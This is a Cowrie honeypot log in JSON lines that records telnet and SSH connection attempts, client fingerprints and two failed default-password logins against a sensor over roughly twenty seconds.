{"eventid":"cowrie.session.closed","duration":30.850334644317627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:54.047614Z","src_ip":"74.115.209.253","session":"b4b1c7b57e43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.128.56","src_port":51114,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28efccb1021","protocol":"telnet","message":"New connection: 158.69.128.56:51114 (10.17.0.5:23) [session: e28efccb1021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:54.079606Z"}
{"eventid":"cowrie.session.closed","duration":31.559117555618286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:55.081950Z","src_ip":"198.38.81.53","session":"d2846c95a856","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795918941497803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:55.152873Z","src_ip":"198.38.81.53","session":"d6a6d9bbd098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":57996,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd3696988682","protocol":"ssh","message":"New connection: 34.39.58.191:57996 (159.203.135.109:22) [session: cd3696988682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:55.416682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:55.423100Z","src_ip":"34.39.58.191","session":"cd3696988682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:55.497357Z","src_ip":"34.39.58.191","session":"cd3696988682","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpusr","password":"123456","message":"login attempt [ftpusr/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:55.828918Z","src_ip":"34.39.58.191","session":"cd3696988682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.150.184.17","src_port":39960,"dst_ip":"10.17.0.5","dst_port":23,"session":"de190e03e29b","protocol":"telnet","message":"New connection: 64.150.184.17:39960 (10.17.0.5:23) [session: de190e03e29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:56.143563Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:56.907056Z","src_ip":"34.39.58.191","session":"cd3696988682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.14","src_port":51516,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb11069e364","protocol":"telnet","message":"New connection: 41.76.108.14:51516 (10.17.0.5:23) [session: 8eb11069e364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:57.624584Z"}
{"eventid":"cowrie.session.closed","duration":30.914764642715454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:58.046182Z","src_ip":"51.222.46.37","session":"2e71c97c30af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":60108,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a0f9ec7e4d","protocol":"telnet","message":"New connection: 209.145.49.9:60108 (10.17.0.5:23) [session: b9a0f9ec7e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:58.175263Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":42724,"dst_ip":"10.17.0.5","dst_port":23,"session":"148ac6b470ee","protocol":"telnet","message":"New connection: 161.35.204.143:42724 (10.17.0.5:23) [session: 148ac6b470ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:58.273544Z"}
{"eventid":"cowrie.session.closed","duration":31.656096696853638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:58.936074Z","src_ip":"134.195.101.206","session":"64760986cc65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97981357574463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:59.104896Z","src_ip":"51.222.46.37","session":"f2620aeb9f50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":47656,"dst_ip":"10.17.0.5","dst_port":23,"session":"a918f1f63376","protocol":"telnet","message":"New connection: 162.252.82.70:47656 (10.17.0.5:23) [session: a918f1f63376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:59.123633Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":60294,"dst_ip":"10.17.0.5","dst_port":23,"session":"5abd2b26ec1d","protocol":"telnet","message":"New connection: 209.145.49.9:60294 (10.17.0.5:23) [session: 5abd2b26ec1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:59.130009Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":42890,"dst_ip":"10.17.0.5","dst_port":23,"session":"214ce4f408c0","protocol":"telnet","message":"New connection: 161.35.204.143:42890 (10.17.0.5:23) [session: 214ce4f408c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:59.218618Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":47660,"dst_ip":"10.17.0.5","dst_port":23,"session":"433e0a4b3f52","protocol":"telnet","message":"New connection: 162.252.82.70:47660 (10.17.0.5:23) [session: 433e0a4b3f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:59.381979Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":57419,"dst_ip":"10.17.0.5","dst_port":23,"session":"36b6ab75d56c","protocol":"telnet","message":"New connection: 199.250.223.224:57419 (10.17.0.5:23) [session: 36b6ab75d56c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:00.048825Z"}
{"eventid":"cowrie.session.closed","duration":30.470104217529297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:00.114801Z","src_ip":"41.76.108.14","session":"ef19561a084e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.319490671157837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:00.230563Z","src_ip":"198.38.81.53","session":"8e1c646d9828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":47404,"dst_ip":"10.17.0.5","dst_port":23,"session":"e51f828306a0","protocol":"telnet","message":"New connection: 144.79.133.145:47404 (10.17.0.5:23) [session: e51f828306a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:00.680513Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":59934,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ebf80b6d82c","protocol":"telnet","message":"New connection: 51.222.46.37:59934 (10.17.0.5:23) [session: 5ebf80b6d82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:01.051246Z"}
{"eventid":"cowrie.session.closed","duration":30.2729971408844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:01.110823Z","src_ip":"159.65.156.231","session":"7d170a3eb2f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":60914,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7311fbefd52","protocol":"telnet","message":"New connection: 66.223.49.88:60914 (10.17.0.5:23) [session: b7311fbefd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:01.569219Z"}
{"eventid":"cowrie.session.closed","duration":30.97076988220215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:01.763059Z","src_ip":"198.50.106.251","session":"889a358fcf8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":40102,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e60cf4ff426","protocol":"telnet","message":"New connection: 216.55.143.160:40102 (10.17.0.5:23) [session: 5e60cf4ff426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:02.230085Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":55428,"dst_ip":"10.17.0.5","dst_port":23,"session":"e50c408e7ecf","protocol":"telnet","message":"New connection: 114.142.160.98:55428 (10.17.0.5:23) [session: e50c408e7ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:02.871487Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":47408,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7f2b6895d54","protocol":"telnet","message":"New connection: 144.79.133.145:47408 (10.17.0.5:23) [session: f7f2b6895d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:03.675947Z"}
{"eventid":"cowrie.session.closed","duration":30.98634099960327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:04.075096Z","src_ip":"51.222.46.37","session":"a86ba7ccbfec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.126.156.251","src_port":49484,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aaacbd351e5","protocol":"telnet","message":"New connection: 144.126.156.251:49484 (10.17.0.5:23) [session: 6aaacbd351e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:04.126467Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.108.209","src_port":52395,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f29e2090079","protocol":"telnet","message":"New connection: 104.152.108.209:52395 (10.17.0.5:23) [session: 5f29e2090079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:04.203786Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49306,"dst_ip":"159.203.135.109","dst_port":22,"session":"64d0b20101ba","protocol":"ssh","message":"New connection: 2.57.122.238:49306 (159.203.135.109:22) [session: 64d0b20101ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:04.692574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:04.700605Z","src_ip":"2.57.122.238","session":"64d0b20101ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:04.806559Z","src_ip":"2.57.122.238","session":"64d0b20101ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.24856448173523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:05.012656Z","src_ip":"15.204.172.25","session":"f1d4e8044f08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94105887413025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:05.100202Z","src_ip":"64.150.184.17","session":"d48e03f02738","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:05.118421Z","src_ip":"2.57.122.238","session":"64d0b20101ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":35816,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb77627c359","protocol":"telnet","message":"New connection: 146.71.83.154:35816 (10.17.0.5:23) [session: 0cb77627c359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:05.291440Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.150.184.17","src_port":41128,"dst_ip":"10.17.0.5","dst_port":23,"session":"047aecd71228","protocol":"telnet","message":"New connection: 64.150.184.17:41128 (10.17.0.5:23) [session: 047aecd71228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:05.531055Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.14","src_port":51520,"dst_ip":"10.17.0.5","dst_port":23,"session":"c04ea6a113d6","protocol":"telnet","message":"New connection: 41.76.108.14:51520 (10.17.0.5:23) [session: c04ea6a113d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:05.742938Z"}
{"eventid":"cowrie.session.closed","duration":30.97939920425415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:06.062306Z","src_ip":"158.69.128.56","session":"cf7252591329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:06.225231Z","src_ip":"2.57.122.238","session":"64d0b20101ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.549708366394043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:07.111907Z","src_ip":"66.223.49.88","session":"cad8daa16b2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":59256,"dst_ip":"10.17.0.5","dst_port":23,"session":"98612803c666","protocol":"telnet","message":"New connection: 146.71.83.154:59256 (10.17.0.5:23) [session: 98612803c666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:07.183722Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.246.154.4","src_port":34602,"dst_ip":"10.17.0.5","dst_port":23,"session":"41398d0ddfe1","protocol":"telnet","message":"New connection: 35.246.154.4:34602 (10.17.0.5:23) [session: 41398d0ddfe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:08.022989Z"}
{"eventid":"cowrie.session.closed","duration":30.906491994857788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:08.132079Z","src_ip":"144.126.156.251","session":"85140be7b5ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.470679998397827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:09.120054Z","src_ip":"114.142.160.98","session":"9be4e941e86a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692097663879395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:09.212189Z","src_ip":"114.142.160.98","session":"3303fb35800a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871505737304688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:09.241938Z","src_ip":"64.112.192.18","session":"2c849e0f83c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950531482696533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:10.122177Z","src_ip":"198.38.81.53","session":"cc0b0702a1ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.776569366455078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:10.262694Z","src_ip":"64.112.192.18","session":"cd5c31fa74cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.346675872802734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:10.561670Z","src_ip":"146.71.83.154","session":"291aeb571cf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049023866653442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:10.785188Z","src_ip":"198.50.106.251","session":"37d8391ff1a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.86.26","src_port":59774,"dst_ip":"10.17.0.5","dst_port":23,"session":"3072eaa3daae","protocol":"telnet","message":"New connection: 69.175.86.26:59774 (10.17.0.5:23) [session: 3072eaa3daae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:11.108315Z"}
{"eventid":"cowrie.session.closed","duration":30.837499380111694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:11.115186Z","src_ip":"46.21.104.13","session":"e20a869b8ee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.244.210.29","src_port":51428,"dst_ip":"10.17.0.5","dst_port":23,"session":"27619bf1f067","protocol":"telnet","message":"New connection: 173.244.210.29:51428 (10.17.0.5:23) [session: 27619bf1f067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:11.147545Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":59264,"dst_ip":"10.17.0.5","dst_port":23,"session":"d21902920bd7","protocol":"telnet","message":"New connection: 146.71.83.154:59264 (10.17.0.5:23) [session: d21902920bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:11.235780Z"}
{"eventid":"cowrie.session.closed","duration":30.855701684951782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:12.078553Z","src_ip":"161.35.204.143","session":"1329f20cd2d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84593439102173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:12.129985Z","src_ip":"198.38.81.53","session":"c41369e2599b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.27.181.167","src_port":53016,"dst_ip":"10.17.0.5","dst_port":23,"session":"3532da625bdc","protocol":"telnet","message":"New connection: 36.27.181.167:53016 (10.17.0.5:23) [session: 3532da625bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:12.340781Z"}
{"eventid":"cowrie.session.closed","duration":30.908806324005127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:13.036809Z","src_ip":"162.252.82.70","session":"56f53d3f1ab6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55844736099243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:13.105682Z","src_ip":"198.38.81.53","session":"ec2204669f3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.14","src_port":35458,"dst_ip":"10.17.0.5","dst_port":23,"session":"41930f6453da","protocol":"telnet","message":"New connection: 41.76.108.14:35458 (10.17.0.5:23) [session: 41930f6453da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:13.271911Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.150.184.17","src_port":42542,"dst_ip":"10.17.0.5","dst_port":23,"session":"7127beeeb4e8","protocol":"telnet","message":"New connection: 64.150.184.17:42542 (10.17.0.5:23) [session: 7127beeeb4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:13.930760Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":41022,"dst_ip":"10.17.0.5","dst_port":23,"session":"697f6b80c6a4","protocol":"telnet","message":"New connection: 162.252.82.70:41022 (10.17.0.5:23) [session: 697f6b80c6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:14.118916Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":41024,"dst_ip":"10.17.0.5","dst_port":23,"session":"472acca947fa","protocol":"telnet","message":"New connection: 162.252.82.70:41024 (10.17.0.5:23) [session: 472acca947fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:14.178448Z"}
{"eventid":"cowrie.session.closed","duration":30.951563835144043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:15.033836Z","src_ip":"209.145.49.9","session":"e6985d08f691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.128.56","src_port":39778,"dst_ip":"10.17.0.5","dst_port":23,"session":"e50488f96d8e","protocol":"telnet","message":"New connection: 158.69.128.56:39778 (10.17.0.5:23) [session: e50488f96d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:15.054566Z"}
{"eventid":"cowrie.session.closed","duration":30.94587516784668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:16.021076Z","src_ip":"173.244.210.29","session":"450491f9a9da","protocol":"telnet"}
